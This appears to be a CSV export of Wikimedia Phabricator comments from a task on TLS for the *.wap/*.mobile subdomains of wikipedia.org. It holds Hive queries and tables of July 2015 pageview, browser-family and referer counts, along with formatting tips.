Then you can reuse it in as many tasks as you want!",,,1437091738,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,11.0,13.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,6.0,2.8085106382978724,0.8085106382978723,"Even more pro-tip: put it in a [[/paste/create | pastebin ]] and then embed it with CODE. Like this:

{P123}

Then you can reuse it in as many tasks as you want!"
492754,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Phabricator pro-tip: You can put long lists in quoted code blocks with a `lines=NN` at the top and they'll scroll.  For example, ""View Raw"" on this comment:

```
lines=10
day	family	count
1	Mobile Safari	12132057
1	Chrome Mobile	8801804
1	Android	3749250
1	Other	2528518
1	Opera Mini	1403237
1	Chrome	900893
1	IE Mobile	681078
1	Chrome Mobile iOS	621432
1	BingPreview	449956
1	UC Browser	297750
1	IE	204187
1	Firefox Mobile	178981
1	BlackBerry WebKit	152236
1	Amazon Silk	118894
1	Opera Mobile	102316
1	NetFront NX	64352
1	Firefox	53725
1	Yandex Browser	50416
1	UP.Browser	40531
1	NetFront	37946
1	Nokia Browser	29383
1	bingbot	28545
1	Nokia Services (WAP) Browser	24726
1	Opera	22199
1	Safari	19415
1	BlackBerry	18870
2	Mobile Safari	12004029
2	Chrome Mobile	8784320
2	Android	3744649
2	Other	2524019
2	Opera Mini	1376195
2	Chrome	866146
2	IE Mobile	691822
2	Chrome Mobile iOS	612938
2	UC Browser	294477
2	BingPreview	250466
2	IE	189961
2	Firefox Mobile	162782
2	BlackBerry WebKit	145485
2	Amazon Silk	115699
2	Opera Mobile	105234
2	NetFront NX	62323
2	Firefox	55917
2	Yandex Browser	52083
2	bingbot	43918
2	UP.Browser	40129
2	NetFront	35811
2	Nokia Browser	29375
2	Nokia Services (WAP) Browser	23477
2	Opera	21882
2	Safari	19424
3	Mobile Safari	12138382
3	Chrome Mobile	8737983
3	Android	3661523
3	Other	2496413
3	Opera Mini	1331507
3	Chrome	850364
3	IE Mobile	681066
3	Chrome Mobile iOS	626966
3	BingPreview	289122
3	UC Browser	279870
3	IE	168306
3	Firefox Mobile	162661
3	BlackBerry WebKit	143762
3	Amazon Silk	123083
3	Opera Mobile	102074
3	NetFront NX	60822
3	Firefox	53944
3	Yandex Browser	51476
3	bingbot	48486
3	UP.Browser	40755
3	NetFront	35489
3	Nokia Browser	29147
3	Nokia Services (WAP) Browser	22745
3	Opera	21359
3	BlackBerry	17753
4	Mobile Safari	13730159
4	Chrome Mobile	9532199
4	Android	4022570
4	Other	2517782
4	Opera Mini	1345187
4	Chrome	964526
4	IE Mobile	741965
4	Chrome Mobile iOS	702966
4	BingPreview	468216
4	UC Browser	286850
4	Firefox Mobile	182468
4	IE	168662
4	BlackBerry WebKit	154417
4	Amazon Silk	141286
4	Opera Mobile	108665
4	NetFront NX	68877
4	Firefox	58791
4	Yandex Browser	54158
4	bingbot	44750
4	UP.Browser	41254
4	NetFront	37933
4	Nokia Browser	29757
4	Opera	23560
4	Nokia Services (WAP) Browser	22688
4	Safari	17528
5	Mobile Safari	14771801
5	Chrome Mobile	10252627
5	Android	4290877
5	Other	2497504
5	Opera Mini	1430023
5	Chrome	1096304
5	IE Mobile	803601
5	Chrome Mobile iOS	783147
5	UC Browser	310218
5	Firefox Mobile	196526
5	IE	183440
5	BlackBerry WebKit	168692
5	Amazon Silk	153276
5	BingPreview	140881
5	Opera Mobile	116913
5	Firefox	85277
5	NetFront NX	70825
5	Yandex Browser	58552
5	bingbot	48201
5	UP.Browser	42779
5	NetFront	40441
5	Nokia Browser	31471
5	Opera	27185
5	Nokia Services (WAP) Browser	23803
5	Safari	21766
6	Mobile Safari	14228044
6	Chrome Mobile	9753676
6	Android	3929643
6	Other	2532060
6	Opera Mini	1375394
6	Chrome	997612
6	IE Mobile	734240
6	Chrome Mobile iOS	731946
6	UC Browser	290711
6	BingPreview	284861
6	IE	178792
6	Firefox Mobile	172885
6	BlackBerry WebKit	157233
6	Amazon Silk	139901
6	Opera Mobile	109337
6	Firefox	81048
6	NetFront NX	64400
6	Yandex Browser	54215
6	UP.Browser	43042
6	bingbot	40085
6	NetFront	36980
6	Nokia Browser	29496
6	Opera	24721
6	Safari	24390
6	Nokia Services (WAP) Browser	24015
7	Mobile Safari	12806729
7	Chrome Mobile	9304625
7	Android	3815258
7	Other	2541857
7	Opera Mini	1383079
7	Chrome	994497
7	IE Mobile	706593
7	Chrome Mobile iOS	655893
7	UC Browser	287160
7	BingPreview	259074
7	IE	176418
7	Firefox Mobile	168050
7	BlackBerry WebKit	152605
7	Amazon Silk	126040
7	Opera Mobile	104946
7	Firefox	81895
7	bingbot	60863
7	NetFront NX	60185
7	Yandex Browser	53208
7	UP.Browser	43063
7	NetFront	37451
7	Nokia Browser	29615
7	Safari	24805
7	Nokia Services (WAP) Browser	24232
7	Opera	23075
8	Mobile Safari	12659503
8	Chrome Mobile	9184525
8	Android	3764545
8	Other	2495933
8	Opera Mini	1375041
8	Chrome	1020657
8	IE Mobile	696917
8	Chrome Mobile iOS	643371
8	UC Browser	283650
8	IE	188007
8	Firefox Mobile	168692
8	BlackBerry WebKit	155079
8	Amazon Silk	122635
8	Firefox	117103
8	Opera Mobile	106414
8	NetFront NX	57835
8	Yandex Browser	53029
8	UP.Browser	43942
8	NetFront	36813
8	bingbot	33094
8	Safari	30213
8	Nokia Browser	29398
8	Opera	27378
8	Nokia Services (WAP) Browser	24380
8	BlackBerry	18825
9	Mobile Safari	12354742
9	Chrome Mobile	9064487
9	Android	3696875
9	Other	2486943
9	Opera Mini	1357777
9	Chrome	914434
9	IE Mobile	695167
9	Chrome Mobile iOS	628220
9	UC Browser	289429
9	IE	184369
9	Firefox Mobile	163949
9	BlackBerry WebKit	150928
9	Amazon Silk	117744
9	Opera Mobile	106225
9	Firefox	70187
9	NetFront NX	60153
9	Yandex Browser	51033
9	UP.Browser	45109
9	NetFront	37170
9	Nokia Browser	29762
9	Nokia Services (WAP) Browser	24050
9	Opera	23910
9	Safari	20247
9	BlackBerry	18461
9	Dolfin	11563
10	Mobile Safari	12316817
10	Chrome Mobile	8919801
10	Android	3617929
10	Other	2488354
10	Opera Mini	1288886
10	Chrome	880277
10	IE Mobile	679295
10	Chrome Mobile iOS	629070
10	UC Browser	286555
10	IE	194987
10	Firefox Mobile	165586
10	BlackBerry WebKit	148878
10	Amazon Silk	120113
10	Opera Mobile	103405
10	Firefox	67870
10	NetFront NX	60565
10	Yandex Browser	51304
10	UP.Browser	43992
10	NetFront	36353
10	Nokia Browser	29745
10	Opera	24687
10	Nokia Services (WAP) Browser	22633
10	Safari	19044
10	BlackBerry	17754
10	Dolfin	10840
11	Mobile Safari	13795165
11	Chrome Mobile	9607690
11	Android	3860025
11	Other	2465461
11	Opera Mini	1349373
11	Chrome	967251
11	IE Mobile	744211
11	Chrome Mobile iOS	718981
11	UC Browser	295544
11	Firefox Mobile	184472
11	IE	181590
11	BlackBerry WebKit	167669
11	Amazon Silk	139257
11	Opera Mobile	109767
11	Firefox	70353
11	NetFront NX	64651
11	Yandex Browser	55602
11	UP.Browser	44536
11	bingbot	42287
11	NetFront	37872
11	Safari	30587
11	Nokia Browser	29739
11	Opera	28711
11	Nokia Services (WAP) Browser	23403
11	BlackBerry	16700
12	Mobile Safari	15686143
12	Chrome Mobile	10817867
12	Android	4276783
12	Other	2454413
12	Opera Mini	1412342
12	Chrome	1170379
12	IE Mobile	845740
12	Chrome Mobile iOS	806681
12	UC Browser	313527
12	Firefox Mobile	205955
12	IE	185790
12	BlackBerry WebKit	173916
12	Amazon Silk	158612
12	Opera Mobile	120208
12	Firefox	84299
12	NetFront NX	71344
12	Yandex Browser	61163
12	UP.Browser	45226
12	NetFront	41501
12	bingbot	39173
12	Nokia Browser	34482
12	Opera	27024
12	Nokia Services (WAP) Browser	23988
12	Safari	23434
12	BlackBerry	18223
13	Mobile Safari	13399404
13	Chrome Mobile	9569999
13	Android	3763515
13	Other	2489720
13	Opera Mini	1358259
13	Chrome	959016
13	IE Mobile	737357
13	Chrome Mobile iOS	692172
13	UC Browser	287651
13	IE	189446
13	Firefox Mobile	174859
13	BlackBerry WebKit	160102
13	Amazon Silk	132538
13	Opera Mobile	109905
13	Firefox	73997
13	NetFront NX	65558
13	Yandex Browser	53710
13	UP.Browser	44708
13	NetFront	36526
13	Nokia Browser	30000
13	Opera	27932
13	Nokia Services (WAP) Browser	23985
13	Safari	20944
13	BlackBerry	17992
13	bingbot	11291
14	Mobile Safari	13232133
14	Chrome Mobile	9536148
14	Android	3800470
14	Other	2494306
14	Opera Mini	1355835
14	Chrome	964733
14	IE Mobile	734601
14	Chrome Mobile iOS	680583
14	UC Browser	284872
14	IE	194704
14	Firefox Mobile	172817
14	BlackBerry WebKit	153291
14	Amazon Silk	123805
14	Opera Mobile	105970
14	Firefox	69767
14	NetFront NX	62671
14	Yandex Browser	52945
14	UP.Browser	47034
14	NetFront	36542
14	Nokia Browser	30271
14	Opera	25178
14	Nokia Services (WAP) Browser	24734
14	Safari	20192
14	BlackBerry	18818
14	bingbot	12905
14	Dolfin	11430
```
",,,1437086292,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0681818181818183,0.8636363636363636,"Phabricator pro-tip: You can put long lists in quoted code blocks with a CODE at the top and they'll scroll.  For example, ""View Raw"" on this comment:

``CODE``
"
492733,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"@Tnegrin, @Chmarkine: and now, the data.

Queries spanning multiple days seem to sometimes flake out when not restricted to specific hours. So I ran queries against specific hours 1, 7, 13, and 19 for for 1-14 July 2015 for pageviews and pageviews by browser family.

For the Referer stuff I ran the query against those same hours, but for just two days - one in June and one in July (went back to June just to make sure nothing drastically changed due to the HTTPS cutover). Most external Referer values do indeed look to be coming from search engines.


== Pageviews ==

Pageviews appeared within a reasonably consistent range throughout a 14 day period. Pageviews on the mobiledot/wapdot subdomains as compared to mdot subdomains for Wikipedia hovered around the 0.01-0.02% range, pretty low.

=== mobile/wap subdomains ===

hive> select day, count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day < 15
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
and is_pageview = true and agent_type = 'user'
group by day;


1	3393
2	3642
3	4320
4	4432
5	4797
6	4515
7	5660
8	6106
9	5724
10	4680
11	4959
12	5905
13	5186
14	5665

=== mdot subodmains ===

hive> select day, count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day < 15
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and uri_host like '%.m.wikipedia.org'
and is_pageview = true and agent_type = 'user'
group by day;

1	32786020
2	32349055
3	32265286
4	35559106
5	37742879
6	36129682
7	34010858
8	33406901
9	32659640
10	32285858
11	35103953
12	39178703
13	34505514
14	34308916


== User-Agent - Browser Family ==

UA trends were relatively consistent. Sogou and UC were relatively high in the mobiledot/wapdot case as compared to the mdot Wikipedia case, probably owing to the apparent geo/language, as evidenced by external Referer values.

Just a sidenote: not sure bingbot should be considered of user agent type.

What follows are the top 10 browsers families for mobiledot/wapdot Wikipedia access, followed by the top 25 browser families for mdot Wikipedia access for a point of reference and general fun.

=== mobile/wap subdomains ===

hive> select day, user_agent_map['browser_family'], count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day < 15
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
and is_pageview = true and agent_type = 'user'
group by day, user_agent_map['browser_family'];

day	family	count
1	Sogou Explorer	683
1	UC Browser	606
1	bingbot	492
1	Android	345
1	Chrome	253
1	Mobile Safari	226
1	IE	206
1	QQ Browser Mobile	159
1	Firefox	118
1	Chrome Mobile	95
2	Sogou Explorer	813
2	UC Browser	769
2	Android	421
2	Chrome	395
2	Mobile Safari	219
2	UP.Browser	214
2	Chrome Mobile	210
2	IE	171
2	QQ Browser Mobile	157
2	Firefox	93
3	Sogou Explorer	1405
3	UC Browser	744
3	Android	521
3	Chrome	376
3	Mobile Safari	233
3	IE	231
3	QQ Browser Mobile	221
3	Firefox	142
3	Chrome Mobile	131
3	bingbot	101
4	UC Browser	954
4	Android	754
4	Sogou Explorer	669
4	Chrome	445
4	Mobile Safari	266
4	bingbot	257
4	IE	255
4	Firefox	203
4	Chrome Mobile	168
4	QQ Browser Mobile	161
5	UC Browser	1072
5	Sogou Explorer	944
5	Android	652
5	Chrome	500
5	bingbot	353
5	Mobile Safari	250
5	IE	246
5	QQ Browser Mobile	217
5	Chrome Mobile	199
5	Firefox	173
6	UC Browser	1152
6	Sogou Explorer	676
6	Android	584
6	Chrome	500
6	Mobile Safari	351
6	IE	267
6	Firefox	230
6	QQ Browser Mobile	230
6	bingbot	142
6	Baidu Browser	131
7	Sogou Explorer	1874
7	UC Browser	918
7	Chrome	610
7	Android	573
7	IE	503
7	Mobile Safari	349
7	QQ Browser Mobile	278
7	Firefox	166
7	Chrome Mobile	150
7	Baidu Browser	71
8	Sogou Explorer	2158
8	UC Browser	1068
8	Android	789
8	Chrome	506
8	IE	399
8	Mobile Safari	254
8	Chrome Mobile	244
8	QQ Browser Mobile	206
8	Firefox	165
8	Baidu Browser	146
9	UC Browser	1095
9	Chrome	852
9	Sogou Explorer	823
9	Android	688
9	bingbot	486
9	IE	457
9	Mobile Safari	293
9	Chrome Mobile	259
9	QQ Browser Mobile	229
9	Firefox	200
10	Sogou Explorer	926
10	UC Browser	823
10	Android	530
10	IE	425
10	Chrome	381
10	Other	334
10	bingbot	300
10	Mobile Safari	248
10	QQ Browser Mobile	193
10	Firefox	170
11	UC Browser	989
11	Android	664
11	Sogou Explorer	524
11	Chrome	504
11	Baidu Browser	489
11	Mobile Safari	387
11	IE	334
11	Other	286
11	QQ Browser Mobile	213
11	Chrome Mobile	192
12	UC Browser	1152
12	Sogou Explorer	1126
12	Android	796
12	Chrome	552
12	IE	418
12	Mobile Safari	414
12	QQ Browser Mobile	312
12	Other	298
12	Chrome Mobile	252
12	Firefox	209
13	UC Browser	1046
13	Sogou Explorer	905
13	Android	613
13	IE	573
13	Chrome	429
13	Other	401
13	Mobile Safari	358
13	Chrome Mobile	224
13	QQ Browser Mobile	191
13	Firefox	153
14	Sogou Explorer	1109
14	Android	1012
14	UC Browser	929
14	Chrome	545
14	Mobile Safari	491
14	Other	414
14	IE	318
14	Chrome Mobile	302
14	QQ Browser Mobile	234

=== mdot subdomains ===

hive> select day, user_agent_map['browser_family'], count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day < 15
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and uri_host like '%.m.wikipedia.org'
and is_pageview = true and agent_type = 'user'
group by day, user_agent_map['browser_family'];


day	family	count
1	Mobile Safari	12132057
1	Chrome Mobile	8801804
1	Android	3749250
1	Other	2528518
1	Opera Mini	1403237
1	Chrome	900893
1	IE Mobile	681078
1	Chrome Mobile iOS	621432
1	BingPreview	449956
1	UC Browser	297750
1	IE	204187
1	Firefox Mobile	178981
1	BlackBerry WebKit	152236
1	Amazon Silk	118894
1	Opera Mobile	102316
1	NetFront NX	64352
1	Firefox	53725
1	Yandex Browser	50416
1	UP.Browser	40531
1	NetFront	37946
1	Nokia Browser	29383
1	bingbot	28545
1	Nokia Services (WAP) Browser	24726
1	Opera	22199
1	Safari	19415
1	BlackBerry	18870
2	Mobile Safari	12004029
2	Chrome Mobile	8784320
2	Android	3744649
2	Other	2524019
2	Opera Mini	1376195
2	Chrome	866146
2	IE Mobile	691822
2	Chrome Mobile iOS	612938
2	UC Browser	294477
2	BingPreview	250466
2	IE	189961
2	Firefox Mobile	162782
2	BlackBerry WebKit	145485
2	Amazon Silk	115699
2	Opera Mobile	105234
2	NetFront NX	62323
2	Firefox	55917
2	Yandex Browser	52083
2	bingbot	43918
2	UP.Browser	40129
2	NetFront	35811
2	Nokia Browser	29375
2	Nokia Services (WAP) Browser	23477
2	Opera	21882
2	Safari	19424
3	Mobile Safari	12138382
3	Chrome Mobile	8737983
3	Android	3661523
3	Other	2496413
3	Opera Mini	1331507
3	Chrome	850364
3	IE Mobile	681066
3	Chrome Mobile iOS	626966
3	BingPreview	289122
3	UC Browser	279870
3	IE	168306
3	Firefox Mobile	162661
3	BlackBerry WebKit	143762
3	Amazon Silk	123083
3	Opera Mobile	102074
3	NetFront NX	60822
3	Firefox	53944
3	Yandex Browser	51476
3	bingbot	48486
3	UP.Browser	40755
3	NetFront	35489
3	Nokia Browser	29147
3	Nokia Services (WAP) Browser	22745
3	Opera	21359
3	BlackBerry	17753
4	Mobile Safari	13730159
4	Chrome Mobile	9532199
4	Android	4022570
4	Other	2517782
4	Opera Mini	1345187
4	Chrome	964526
4	IE Mobile	741965
4	Chrome Mobile iOS	702966
4	BingPreview	468216
4	UC Browser	286850
4	Firefox Mobile	182468
4	IE	168662
4	BlackBerry WebKit	154417
4	Amazon Silk	141286
4	Opera Mobile	108665
4	NetFront NX	68877
4	Firefox	58791
4	Yandex Browser	54158
4	bingbot	44750
4	UP.Browser	41254
4	NetFront	37933
4	Nokia Browser	29757
4	Opera	23560
4	Nokia Services (WAP) Browser	22688
4	Safari	17528
5	Mobile Safari	14771801
5	Chrome Mobile	10252627
5	Android	4290877
5	Other	2497504
5	Opera Mini	1430023
5	Chrome	1096304
5	IE Mobile	803601
5	Chrome Mobile iOS	783147
5	UC Browser	310218
5	Firefox Mobile	196526
5	IE	183440
5	BlackBerry WebKit	168692
5	Amazon Silk	153276
5	BingPreview	140881
5	Opera Mobile	116913
5	Firefox	85277
5	NetFront NX	70825
5	Yandex Browser	58552
5	bingbot	48201
5	UP.Browser	42779
5	NetFront	40441
5	Nokia Browser	31471
5	Opera	27185
5	Nokia Services (WAP) Browser	23803
5	Safari	21766
6	Mobile Safari	14228044
6	Chrome Mobile	9753676
6	Android	3929643
6	Other	2532060
6	Opera Mini	1375394
6	Chrome	997612
6	IE Mobile	734240
6	Chrome Mobile iOS	731946
6	UC Browser	290711
6	BingPreview	284861
6	IE	178792
6	Firefox Mobile	172885
6	BlackBerry WebKit	157233
6	Amazon Silk	139901
6	Opera Mobile	109337
6	Firefox	81048
6	NetFront NX	64400
6	Yandex Browser	54215
6	UP.Browser	43042
6	bingbot	40085
6	NetFront	36980
6	Nokia Browser	29496
6	Opera	24721
6	Safari	24390
6	Nokia Services (WAP) Browser	24015
7	Mobile Safari	12806729
7	Chrome Mobile	9304625
7	Android	3815258
7	Other	2541857
7	Opera Mini	1383079
7	Chrome	994497
7	IE Mobile	706593
7	Chrome Mobile iOS	655893
7	UC Browser	287160
7	BingPreview	259074
7	IE	176418
7	Firefox Mobile	168050
7	BlackBerry WebKit	152605
7	Amazon Silk	126040
7	Opera Mobile	104946
7	Firefox	81895
7	bingbot	60863
7	NetFront NX	60185
7	Yandex Browser	53208
7	UP.Browser	43063
7	NetFront	37451
7	Nokia Browser	29615
7	Safari	24805
7	Nokia Services (WAP) Browser	24232
7	Opera	23075
8	Mobile Safari	12659503
8	Chrome Mobile	9184525
8	Android	3764545
8	Other	2495933
8	Opera Mini	1375041
8	Chrome	1020657
8	IE Mobile	696917
8	Chrome Mobile iOS	643371
8	UC Browser	283650
8	IE	188007
8	Firefox Mobile	168692
8	BlackBerry WebKit	155079
8	Amazon Silk	122635
8	Firefox	117103
8	Opera Mobile	106414
8	NetFront NX	57835
8	Yandex Browser	53029
8	UP.Browser	43942
8	NetFront	36813
8	bingbot	33094
8	Safari	30213
8	Nokia Browser	29398
8	Opera	27378
8	Nokia Services (WAP) Browser	24380
8	BlackBerry	18825
9	Mobile Safari	12354742
9	Chrome Mobile	9064487
9	Android	3696875
9	Other	2486943
9	Opera Mini	1357777
9	Chrome	914434
9	IE Mobile	695167
9	Chrome Mobile iOS	628220
9	UC Browser	289429
9	IE	184369
9	Firefox Mobile	163949
9	BlackBerry WebKit	150928
9	Amazon Silk	117744
9	Opera Mobile	106225
9	Firefox	70187
9	NetFront NX	60153
9	Yandex Browser	51033
9	UP.Browser	45109
9	NetFront	37170
9	Nokia Browser	29762
9	Nokia Services (WAP) Browser	24050
9	Opera	23910
9	Safari	20247
9	BlackBerry	18461
9	Dolfin	11563
10	Mobile Safari	12316817
10	Chrome Mobile	8919801
10	Android	3617929
10	Other	2488354
10	Opera Mini	1288886
10	Chrome	880277
10	IE Mobile	679295
10	Chrome Mobile iOS	629070
10	UC Browser	286555
10	IE	194987
10	Firefox Mobile	165586
10	BlackBerry WebKit	148878
10	Amazon Silk	120113
10	Opera Mobile	103405
10	Firefox	67870
10	NetFront NX	60565
10	Yandex Browser	51304
10	UP.Browser	43992
10	NetFront	36353
10	Nokia Browser	29745
10	Opera	24687
10	Nokia Services (WAP) Browser	22633
10	Safari	19044
10	BlackBerry	17754
10	Dolfin	10840
11	Mobile Safari	13795165
11	Chrome Mobile	9607690
11	Android	3860025
11	Other	2465461
11	Opera Mini	1349373
11	Chrome	967251
11	IE Mobile	744211
11	Chrome Mobile iOS	718981
11	UC Browser	295544
11	Firefox Mobile	184472
11	IE	181590
11	BlackBerry WebKit	167669
11	Amazon Silk	139257
11	Opera Mobile	109767
11	Firefox	70353
11	NetFront NX	64651
11	Yandex Browser	55602
11	UP.Browser	44536
11	bingbot	42287
11	NetFront	37872
11	Safari	30587
11	Nokia Browser	29739
11	Opera	28711
11	Nokia Services (WAP) Browser	23403
11	BlackBerry	16700
12	Mobile Safari	15686143
12	Chrome Mobile	10817867
12	Android	4276783
12	Other	2454413
12	Opera Mini	1412342
12	Chrome	1170379
12	IE Mobile	845740
12	Chrome Mobile iOS	806681
12	UC Browser	313527
12	Firefox Mobile	205955
12	IE	185790
12	BlackBerry WebKit	173916
12	Amazon Silk	158612
12	Opera Mobile	120208
12	Firefox	84299
12	NetFront NX	71344
12	Yandex Browser	61163
12	UP.Browser	45226
12	NetFront	41501
12	bingbot	39173
12	Nokia Browser	34482
12	Opera	27024
12	Nokia Services (WAP) Browser	23988
12	Safari	23434
12	BlackBerry	18223
13	Mobile Safari	13399404
13	Chrome Mobile	9569999
13	Android	3763515
13	Other	2489720
13	Opera Mini	1358259
13	Chrome	959016
13	IE Mobile	737357
13	Chrome Mobile iOS	692172
13	UC Browser	287651
13	IE	189446
13	Firefox Mobile	174859
13	BlackBerry WebKit	160102
13	Amazon Silk	132538
13	Opera Mobile	109905
13	Firefox	73997
13	NetFront NX	65558
13	Yandex Browser	53710
13	UP.Browser	44708
13	NetFront	36526
13	Nokia Browser	30000
13	Opera	27932
13	Nokia Services (WAP) Browser	23985
13	Safari	20944
13	BlackBerry	17992
13	bingbot	11291
14	Mobile Safari	13232133
14	Chrome Mobile	9536148
14	Android	3800470
14	Other	2494306
14	Opera Mini	1355835
14	Chrome	964733
14	IE Mobile	734601
14	Chrome Mobile iOS	680583
14	UC Browser	284872
14	IE	194704
14	Firefox Mobile	172817
14	BlackBerry WebKit	153291
14	Amazon Silk	123805
14	Opera Mobile	105970
14	Firefox	69767
14	NetFront NX	62671
14	Yandex Browser	52945
14	UP.Browser	47034
14	NetFront	36542
14	Nokia Browser	30271
14	Opera	25178
14	Nokia Services (WAP) Browser	24734
14	Safari	20192
14	BlackBerry	18818
14	bingbot	12905
14	Dolfin	11430



== Referer ==

It should be sufficient to just look at four distinct hours from two days for the mobiledot/wapdot case because inbound links independent of search engines would be pretty evident pretty fast.

As it turned out there were 29 distinct external Referer host value for the first days' hours being reviewed and there were 39 distinct external Referer host values for the second days' hours being reviewed. The top ten external Referer hostnames are listed below along with the counts for ""unknown"" (e.g., bookmark, start page, or Referer-suppressed scheme:// changes) and ""internal"" referrals.


hive> select month, day, ref, count(*) from
(select month, day,
case when referer_class = 'external' then parse_url(referer,'HOST') else referer_class end as ref
from
wmf.webrequest where
year = 2015 and (month = 6 or month = 7) and day = 5
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
and is_pageview = true and agent_type = 'user') r
group by month, day, ref;


month	day	ref	count
6	5	unknown	1411
6	5	internal	974
6	5	m.baidu.com	120
6	5	www.baidu.com	44
6	5	m.sp.sm.cn	39
6	5	www.sogou.com	23
6	5	m5.baidu.com	7
6	5	wap.sogou.com	7
6	5	image.baidu.com	6
6	5	r.search.yahoo.com	6
6	5	www.bioboard.de	6
6	5	www.google.com	4
7	5	internal	2647
7	5	unknown	1068
7	5	m.baidu.com	521
7	5	www.baidu.com	308
7	5	m.sp.sm.cn	62
7	5	www.sogou.com	35
7	5	www.bing.com	28
7	5	wap.baidu.com	25
7	5	m5.baidu.com	14
7	5	www.google.com.tw	9
7	5	m.sogou.com	7
7	5	www.google.com	7",,,1437084060,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.08695652173913043,0.043478260869565216,1.891304347826087,0.10869565217391304,0.021739130434782608,0.0,0.0,0.1956521739130435,0.9782608695652174,0.0,0.0,0.043478260869565216,0.043478260869565216,0.0,0.9130434782608695,1.565217391304348,0.021739130434782608,0.08695652173913043,0.043478260869565216,0.0,0.021739130434782608,0.2391304347826087,0.043478260869565216,0.0,0.043478260869565216,0.0,0.021739130434782608,0.06521739130434782,0.4782608695652174,0.021739130434782608,0.043478260869565216,0.0,0.0,0.043478260869565216,0.0,0.043478260869565216,0.0,0.0,0.0,0.021739130434782608,0.0,0.0,0.021739130434782608,0.0,0.0,0.0,5.695652173913044,0.0,0.021739130434782608,0.021739130434782608,0.10869565217391304,0.0,0.0,0.0,0.0,0.10869565217391304,0.0,0.0,0.021739130434782608,0.043478260869565216,0.0,0.021739130434782608,0.0,0.0,0.43478260869565216,0.2608695652173913,17.934782608695652,0.17391304347826086,1.391304347826087,0.4782608695652174,0.0,0.0,0.0,0.0,0.34782608695652173,0.17391304347826086,25.58695652173913,0.0,0.17391304347826086,1.565217391304348,17.0,0.0,1.065217391304348,0.0,0.17391304347826086,0.1956521739130435,0.17391304347826086,0.08695652173913043,0.0,0.06521739130434782,0.0,0.021739130434782608,0.45652173913043476,2.982751203248097,0.4058486372150969,"SCREEN_NAME,SCREEN_NAME: and now, the data.

Queries spanning multiple days seem to sometimes flake out when not restricted to specific hours. So I ran queries against specific hours 1, 7, 13, and 19 for for 1-14 July 2015 for pageviews and pageviews by browser family.

For the Referer stuff I ran the query against those same hours, but for just two days - one in June and one in July (went back to June just to make sure nothing drastically changed due to the HTTPS cutover). Most external Referer values do indeed look to be coming from search engines.


== Pageviews ==

Pageviews appeared within a reasonably consistent range throughout a 14 day period. Pageviews on the mobiledot/wapdot subdomains as compared to mdot subdomains for Wikipedia hovered around the 0.01-0.02% range, pretty low.

=== mobile/wap subdomains ===

hive> select day, count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day < 15
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
and is_pageview = true and agent_type = 'user'
group by day;


1	3393
2	3642
3	4320
4	4432
5	4797
6	4515
7	5660
8	6106
9	5724
10	4680
11	4959
12	5905
13	5186
14	5665

=== mdot subodmains ===

hive> select day, count(*) from
wmf.webrequest where
year = 2015 and month = 7 and day < 15
and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
and access_method = 'mobile web'
and uri_host like '%.m.wikipedia.org'
and is_pageview = true and agent_type = 'user'
group by day;

1	32786020
2	32349055
3	32265286
4	35559106
5	37742879
6	36129682
7	34010858
8	33406901
9	32659640
10	32285858
11	35103953
12	39178703
13	34505514
14	34308916


== User-Agent - Browser Family ==

UA trends were relatively consistent. Sogou and UC were relatively high in the mobiledot/wapdot case as compared to the mdot Wikipedia case, probably owing to the apparent geo/language, as evidenced by external Referer values.

Just a sidenote: not sure bingbot should be considered of user agent type.

